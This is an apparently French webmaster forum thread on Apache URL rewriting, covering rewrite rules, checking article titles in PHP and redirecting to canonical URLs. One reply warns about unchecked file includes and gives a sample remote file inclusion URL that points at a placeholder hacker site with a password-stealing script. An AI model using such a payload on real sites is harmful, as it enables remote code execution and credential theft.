Url Rewriting et titre

WRInaute discret
Bonjour à tous !
Je me met doucement au Url Rewriting mais je rencontre un petit problème concernant les variables.
Mon problème :
Ma page originale est article.php?id=<id de l'article>. Je voudrais réécrire l'url en ajoutant le titre de l'article (article-21-WebrankInfo.html par exemple). Pour cela, j'ai fait :
Code:
RewriteRule ^article-([0-9]+)-(.*).html$  /article.php?id=$1 [L]
Sauf qu'un visiteur peut accéder à la page même si le titre est mauvais (tant que l'id est bon).
Comment faire pour éviter ça et renvoyer une erreur 404 ?
Merci
A bientôt
 
WRInaute discret
salut

Est-ce vraiment important, tant que le contenu affiché est le bon ? J'en suis pas sûr ...

Sinon, il faut faire la vérification en PHP, en passant le titre de l'article à la page :
Code:
RewriteRule ^article-([0-9]+)-(.*).html$  /article.php?id=$1&titre=$2 [L]

fab
 
WRInaute discret
Donc ce n'est pas grave si ce n'est pas corrigé?
Existe t il des risques à utiliser l'Url Rewriting (niveau sécurité) ?
Merci
 
WRInaute accro
tant que tu ne fais pas d'include en provenance de ton url sans vérifier. Mais c'était valable aussi sans le rewriting.
Du genre index.php?include=http://www.monsitedehack.com/recuppassword.php :twisted:
 
WRInaute occasionnel
J'ai aussi été confronté à ce problème,

Personnellement, je test au chargement de la page concernée que l'URL demander (via $_SERVER['REQUEST_URI']) correspond bien à l'URL que devrait avoir la page. Si tel n'est pas le cas, je fait une redirection 301 vers la bonne URL.

Code:
$seo_name_file = "article-21-WebrankInfo.html" // Nom "théorique" que dois avoir la page. Normalement généré dynamiquement.

if(ereg('(.+\.html)[\?]?(.*)', basename($_SERVER['REQUEST_URI']), $uri)) {	
  if($seo_name_file != $uri[1]) { // Test si URL "théorique" est différente de l'URL tapé par le visiteur
    // Redirection vers "article-21-WebrankInfo.html".
  }
}

PS : Ignorer ce problème ne peut il pas conduire à du duplicate content ?
 
Discussions similaires
Haut